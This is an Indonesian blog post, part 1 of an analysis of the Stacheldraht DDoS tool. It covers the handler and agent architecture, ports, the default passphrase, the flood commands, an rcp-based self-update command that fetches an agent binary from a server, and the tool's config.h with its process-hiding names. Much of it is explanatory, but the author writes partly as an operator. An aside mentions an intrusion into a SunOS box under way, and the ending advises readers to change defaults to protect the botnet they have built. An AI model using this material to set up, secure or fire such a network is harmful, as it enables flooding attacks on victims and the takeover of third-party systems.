Jumat, 11 Juni 2010

Analisa "Stacheldraht" Distributed Denial of Service Attack Tool. Bag.1

Pendahuluan

Berikut ini adalah suatu analisa “stacheldraht", suatu tool distributed denial of service (DDOS), yang source code-nya didapat dari " Tribe Flood Network (TFN)" sebuah tool distributed denial of service juga, dimana stacheldraht ini merupakan peyempurna dari berbagai tool DDos yang datang sebelumnya.[ Catatatan: Sepanjang analisa ini menggunakan nama site, nickname, dan alamat IP yang bukan sebenarnya]

Stacheldraht (dalam bahasa Inggris disebut “barbed wire” dalam bahasa Indonesia disebut "kawat-berduri") mengkombinasikan features antara " trinoo" distributed denial of service attack tool, dengan TFN yang original. kelebihan lain dari features stacheldraht adalah adanya encryption komunikasi antara attacker dan masters, serta agen dapat meng-update dirinya sendiri secara otomatis.

Untuk informasi lebih jauh tentang trinoo dan TFN dapat dilihat di:

http://staff.washington.edu/dittrich/misc/trinoo.analysis
http://staff.washington.edu/dittrich/misc/tfn.analysis



DDos merupakan serangan yang sangat mematikan dan kini bahkan terjadi persaingan dalam membuat alat penyerang ini.

Pendahuluan

Berikut ini adalah suatu analisa “stacheldraht", suatu tool distributed denial of service (DDOS), yang source code-nya didapat dari " Tribe Flood Network (TFN)" sebuah tool distributed denial of service juga, dimana stacheldraht ini merupakan peyempurna dari berbagai tool DDos yang datang sebelumnya.[ Catatatan: Sepanjang analisa ini menggunakan nama site, nickname, dan alamat IP yang bukan sebenarnya]

Stacheldraht (dalam bahasa Inggris disebut “barbed wire” dalam bahasa Indonesia disebut "kawat-berduri") mengkombinasikan features antara " trinoo" distributed denial of service attack tool, dengan TFN yang original. kelebihan lain dari features stacheldraht adalah adanya encryption komunikasi antara attacker dan masters, serta agen dapat meng-update dirinya sendiri secara otomatis.

Untuk informasi lebih jauh tentang trinoo dan TFN dapat dilihat di:

http://staff.washington.edu/dittrich/misc/trinoo.analysis
http://staff.washington.edu/dittrich/misc/tfn.analysis

Pada akhir Juni dan awal Juli 1999, satu atau lebih kelompok mencoba untuk menginstallasi dan menguji jaringan trinoo (Trinoo Networks) dengan membuat skala jaringan denial of service attack yang sangat luas dengan memanfaatkan jaringan di atas 2000 sistem yang telah di atur sedemikian rupa. Serangan ini melibatkan dan telah diarahkan pada sistem di sekitar bola bumi.


Pada akhir Augustus / awal bulan September 1999, fokus mulai bergeser dari trinoo ke TFN, yang diduga kode originalnya dibuat oleh Mixter. Kemudian pada akhir September / awal Oktober, suatu program yang kelihatan persis/mirip seperi TFN agen, yang kemudian dikenal sebagai "stacheldraht", mulai menunjukkan taringnya pada system-system di Eropa dan Amerika Serikat pada waktu itu. Untuk lebih jelas silakan baca di:

http://www.cert.org/incident_notes/IN-99-04.html

Seperti halnya trinoo, stacheldraht juga terdiri dari program master (handler) dan daemon, atau " bcast" (agen). Terminologi Handler/Agent telah dikembangkan di CERT Distributed System Intruder Tools workshop pada bulan November 1999, dan akan digunakan didalam analisa ini sebagai ganti dari terminology spesipik stacheldraht. Bagi temen-teman yang ingin mengetahui lebih lanjut tentang CERT workshop report bisa di baca di (kalo kata bang Ditrich mah “sangat dianjurkan”, katanya):

http://www.cert.org/reports/dsit_workshop.pdf

Kalo kita lihat secara seksama, disana terdapat persaingan dalam pembuatan source code DDos attack tool yaitu, antara DDos attack tool “stacheldraht” dengan versi “TFN terbaru” buatan Mixter, yaitu: ----Tribe Flood Network 2000, atau TFN2K----(==mixter gak mau kalah, takut dikira lamer kali…==)yang di release pada tanggal 21 Desember 1999. Untuk lebih jauh mengetahui tentang TFN2K, Lihat di :

http://packetstorm.securify.com/distributed/
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html


Selain daripada menggunakan features “handler/agent”-nya trinoo, stacheldraht juga mempunyai features dari TFN yaitu dengan adanya features distributed network denial of service melalui ICMP flood, SYN flood, dan “smurf” style attacks. Tetapi, tidak seperti halnya dengan TFN dan TFN2K yang original, kode stacheldraht yang di analisa tidak memiliki/berisi (contain) “on demand” root shell bound ke sebuah port TCP. ( hal tersebut mungkin saja didasarkan pada kode TFN lebih awal, dibanding yang telah dibuat publik oleh Mixter di pertengahan tahun 1999).

Salah satu kelemahan dari TFN adalah bahwa koneksi attacker(s) kepada master(s), yang mengendalikan network adalah dalam format clear-text, dan terlalu terfokus kepada standard TCP attack (session hijacking, RST sniping, dll.). Stacheldraht memberikan keunggulan dalam menghadapi situasi ini dengan menambahkan suatu encrypting "mirip telnet" (istilah stacheldraht) client.

Stacheldraht agen mula-mula ditemukan dalam format biner pada sejumlah system Solaris 2.x, yang dapat diidentifikasikan dengan adanya exploitasi dari bug buffer overrun di dalam servis-servis RPC " statd", " cmsd" dan " ttdbserverd".

Makefiles dalam stacheldraht berisi rules untuk Linux dan Solaris, dengan default untuk Linux (walaupun demikian code tersebut tidak bekerja secara reliable pada linux). Untuk kepentingan analisa ini, semua program telah di-compile dan di jalankan (run) di dalam system Red Hat Linux 6.0. Tetapi sejauh ini, saya hanya mengetahui bahwa Agent hanya bisa berjalan secara maksimal pada system Solaris 2.x.

Satu hal, pernyataan yang mungkin harus diperjelas didalam analisa yang akan kita lakukan, terutama didalam analisa trinoo dan Tribe Flood Network adalah bahwa distributed denial of service attack mempunyai dua phase serangan yaitu “victim” (korban) dan “attackers" (penyerang) hal tersebut digambarkan tergantung pada point of view anda (baca artikel ini sampai selesai kemudian pahami, selanjutnya anda akan mengalami “pencerahan”…he..he..he).

Terdapat sebuah tahap di dalam inisialisasi mass-intrusion, di mana tools yang diotomatkan (agent) digunakan untuk mengkompromisasikan root dari jarak jauh (remotely) dalam jumlah yang sangat besar ( yaitu, dalam beberapa ratus hingga beberapa ribu ranges) dan distributed denial of service agent ini sudah harus diinstall pada compromised system (kalo dalam bahasa indonesianya mah “system yang telah disepakati”). Ini adalah primary victim ++++(korban utama)++++ ( dari sistem berkompromi.) Tidak satupun dari tools distributed denial of service ini yang mempunyai features yang dapat memfasilitasi compromising systems seperti layaknya stacheldraht. (compromising system = system yang telah diatur sedemikian rupa dalam sebuah atau beberapa buah jaringan sracheldraht).

Tahap Mass-Instrusion diikuti oleh phase serangan denial of service yang actual, di mana system-system yang telah dikompromisasikan (compromised systems), yaitu handler-handler dan agen-agennya digunakan untuk melakukan serangan denial of service secara raksasa dan secara terdistribusi terhadap satu atau beberapa server sites.Ini adalah secondary victims ++++(korban kedua)++++ dari serangan denial of service.

Untuk pendeskripsian tentang metode-metode yang digunakan dalam initial intrusion dan phase-pase dalam men-setup jaringan stacheldraht, anda bisa membacanya dalam analisa jaringan trinoo +++(analysis of the trinoo network)+++ yang sebenarnya artikel tersebut sudah saya susun beberapa waktu lalu (belom dipublikasikan)…..tapi saya ingin melihat dulu antusiasme dari komunitas hacker indonesia tentang Distribute Denial of Service Attack Tools…dan juga mengingat apabila tools DDos ini dapat kita installasi dan berhasil dalam membuat sebuah atau beberapa skala jaringan dengan pengaturan sistem yang diatur sedemikian rupa. Maka akan sangat membahayakan, apabila digunakan oleh orang yang tidak bertanggung jawab.++++++++++(maka dari itu bacaan ini bukan untuk lamer, newbies, script kiddies, carder………dll…hehehe:))+++++++++++terusin lagi yuk…..:)

Catatan : bahwa modifikasi dari source code, bisa dan akan merubah detil dari analisa ini, seperti prompt, passwords, commands, port numbers TCP/UDP, atau metoda serangan yang mendukung, signatures, dan features.


The network: client(s)-->handler(s)-->agent(s)-->victim(s)


Jaringan Stacheldraht terdiri dari satu atau lebih handler program ("mserv.c") dan satu handler program dapat memiliki banyak set agent (" leaf/td.c"). Penyerang/attacker menggunakan sebuah program encrypting " mirip telnet" untuk menghubungkan dan berkomunikasi dengan handlers ("telnetc/client.c"). Sebuah jaringan stacheldraht akan terlihat seperti ini:
 
                   +--------+             +--------+
                   | client |             | client |
                   +--------+             +--------+
                       |                      |
        . . . --+------+---------------+------+----------------+-- . . .
                |                      |                       |
                |                      |                       |
          +-----------+          +-----------+           +-----------+
          |  handler  |          |  handler  |           |  handler  |
          +-----------+          +-----------+           +-----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
         |            |            |            |            |
         |            |            |            |            |
     +-------+    +-------+    +-------+    +-------+    +-------+
     | agent |    | agent |    | agent |    | agent |    | agent |
     +-------+    +-------+    +-------+    +-------+    +-------+
 
Attacker(S) mengendalikan satu atau lebih handlers menggunakan encrypting klien. Masing-Masing handler dapat mengendalikan banyak agent. ( Ada suatu batas internal di dalam" mserv.c" di dalam kodenya mencapai 1000 agen, yang biasanya bisa mencapai 1024.++++Di tulis dalam code-nya " 1000 sockets are leet0"++++). Semua Agen dinstruksikan untuk mengkoordinir sebuah paket serangan terhadap satu atau lebih victim system oleh handler (di dalam kodenya dikenal sebagai " mserver" atau " master server”).

Komunikasi

Clients ke handler (s) menggunakan                  : 16660/tcp
Handler ke / dari agent(s) menggunakan           : 65000/tcp, ICMP_ECHOREPLY


Tidak sama halnya dengan trinoo, yang menggunakan UDP untuk komunikasi antara handlers dan agen, atau Tribe Flood Network yang original, Yang menggunakan ICMP untuk komunikasi antara handler dan agen, stacheldraht menggunakan TCP dan ICMP untuk melakukan komunikasinya.


Pengendali jarak jauh (remote control) jaringan stacheldraht dapat dilakukan dengan menggunakan sebuah simple client yang menggunakan kunci symmetric encryption untuk komunikasi antar dirinya sendiri dan handler. Klien menerima argumentasi tunggal, yang menunjukkan bahwa handler tersebut perlu hubungan, yang kemudian berhubungan dengan menggunakan sebuah port TCP ( di dalam kode yang di analisa menggunakan default 16660/tcp).

Untuk attacker, coba lihat contoh berikut ini (jika diberikan kata sandi yang sesuai):

------------------------------------------------------------------

# ./client 192.168.0.1
[*] stacheldraht [*]
(c) in 1999 by ...

trying to connect...
connection established.
--------------------------------------
enter the passphrase : sicken
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame

stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------


Prompt ("a!") menunjukkan banyaknya agen yang aktif (a=active) dan prompt ("d!") menunjukkan banyaknya agen yang mati (d=dead) pada saat itu. Gunakan perintah ".help" untuk melihat argument perintah. ( Ok…udah jam 2 pagi gak ada rokok…..pusing…beli dulu ahhhh…..sambil nunggu bobolnya gawang sun os…yang lagi “disapa” dan kalo bisa kita ajak “join” ) sekarang kita lihatJbuat percobaan…he..he..he…terusin yuk….artikelnya…. Jargument-argument perintahnya….kalo enggak….bakalan tambah pusing ente……hehe command set yang didukung yaitu:

--------------------------------------------------
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
--------------------------------------------------


Perintah-perintah (commands)

.distro user server
Instruksikan agen untuk menginstal dan menjalankan new copy dirinya sendiri menggunakan perintah Berkeley "rcp" pada sistem "server", menggunakan account “user” ( e.g., " rcp nixxxer_overrun@server:linux.bin ttymon")

.help
Untuk memperlihatkan commands yang didukung

.killall
Kills semua agent-agen yang aktif.

.madd ip1[:ip2[:ipN]]
Tambahkan IP addresses ke daftar attack victims

.mdie
Kirim die request ke semua agent.

.mdos
Memulai DoS attack

.micmp ip1[:ip2[:ipN]]
Memulai ICMP Flood attack terhadap host yang ditetapkan.

.mlist
Daftar IP address dari host yang telah dijadikan sasaran Dos attack pada saat ini.

.mping
Ping semua agent (bcast) untuk melihat apakah semuanya aktif (alive).

.msadd
Menambahkan master server baru (handler) ke dalam daftar (list) servers yang tersedia.

.msort
Untuk melihat agent (bcast) yang mati/hidup. (kirim ping dan perlihatkan counts/persentase dari agent-agent yang mati/hidup)

.mstop ip1[:ip2[:ipN]]
.mstop all
Berhenti melakukan serangan terhadap ip address yang telah ditetapkan, atau berhenti melakukan serangan terhadap semua IP address (“.mstop all”).

.msrem
Me-removes sebuah master server (handler) dari daftar master server yang tersedia.


.msyn ip1[:ip2[:ipN]]
Memulai SYN Flood attack terhadap host yang ditetapkan.

.mtimer seconds
Set timer untuk durasi penyerangan. (tidak ada pengecekan dalam value ini).


.mudp ip1[:ip2[:ipN]]
Memulai UDP flood attack terhadap host yang ditetapkan (mode emulasi dari DoS trinoo).

.setisize
Men-set size pengiriman paket ICMP untuk serangan flooding. (maksimal: 1024, defaultnya : 1024).

.setusize
Men-set size pengiriman paket UDP untuk serangan flooding (maksimal: 1024, Defaultnya: 1024).

.showalive
Memperlihatkan semua agent yang “hidup” (bcast).

.showdead
Memperlihatkan semua agent yang “mati” (bcast).

.sprange lowport-highport
Men-set port range untuk serangan SYN Flooding (dafault untuk lowport: 0, highport: 140).


Proteksi Password

Setelah koneksi kepada handler menggunakan program klien, Attacker diminta untuk memasukan password. Password ini ( Defaultnya " sicken" di dalam kode yang telah dianalisa) adalah suatu standard crypt() encrypted password, yang kemudian di enkripsi oleh program Blowfish menggunakan passphrase " authentication" sebelum dikirimkan oleh network kepada handler (* semua* komunikasi antara agen dan handler di encrypt terlebih dahulu oleh program Blowfish menggunakan passphrase tersebut.).

Seperti halnya TFN, C macros (" config.h") define values-nya digunakan untuk menyatakan perintah-perintah, penempatan kembali vector argumen ("HIDEME" dan "HIDEKIDS"), untuk merahasiakan nama program, dll.:


 
---------------------------------------------------------------
#ifndef _CONFIG_H
 
/* user defined values untuk the teletubby flood network */
 
#define HIDEME "(kswapd)"
#define HIDEKIDS "httpd"
#define CHILDS 10
 
/* sepertinya ini kata sandi, dan disini anda bisa merubahnya */
 
#define ID_SHELL   1       /* untuk mem-bind rootshell */
 
#define ID_ADDR  699       /* request penambahan IP untuk server flood */                      
#define  ID_SETPRANGE 2007 /* men-set port range untuk synflood */
#define   ID_SETUSIZE 2006 /* men-set size udp */
#define   ID_SETISIZE 2005 /* men-set size ICMP */
#define    ID_TIMESET 2004 /* men-set waktu untuk flooding */
#define     ID_DIEREQ 2003 /* request menshutdown master server */
#define   ID_DISTROIT 2002 /* distro request untuk master server */
#define ID_REMMSERVER 2001 /* meremove master server */
#define ID_ADDMSERVER 2000 /* memasukan master server baru */
#define SPOOF_REPLY 1000   /* spoof test reply master server */
#define ID_TEST  668       /* men-test master server */
#define ID_ICMP  1055        /* untuk ICMP flood */
#define ID_SENDUDP 2         /* untuk Udp flood */
#define ID_SENDSYN 3         /* untuk syn flood */
#define ID_SYNPORT 4         /* untuk men-set port */
#define ID_STOPIT  5         /* untuk memberhentikan flooding */
#define ID_SWITCH  6         /* untuk mengganti mode spoofing */
#define ID_ACK     7         /* untuk me-reply kepada klien */
 
#define _CONFIG_H
#endif
-----------------------------------------------------------------

Coba anda lihat script value di atas….!!!! Default tersebut membuka hole kepada orang lain untuk men-take over jaringan stacheldraht yang susah payah anda buat.. (gimana kalo orang lain men-execute command agent……?). Untuk berjaga-jaga agar tidak ada orang lain mengetahui default value yang digunakan dalam script tersebut dan berjaga-jaga agar orang lain tidak meng-execute agent commands, sebaiknya anda merubahnya….!!!
 
Bersambung..........

0 komentar:

Posting Komentar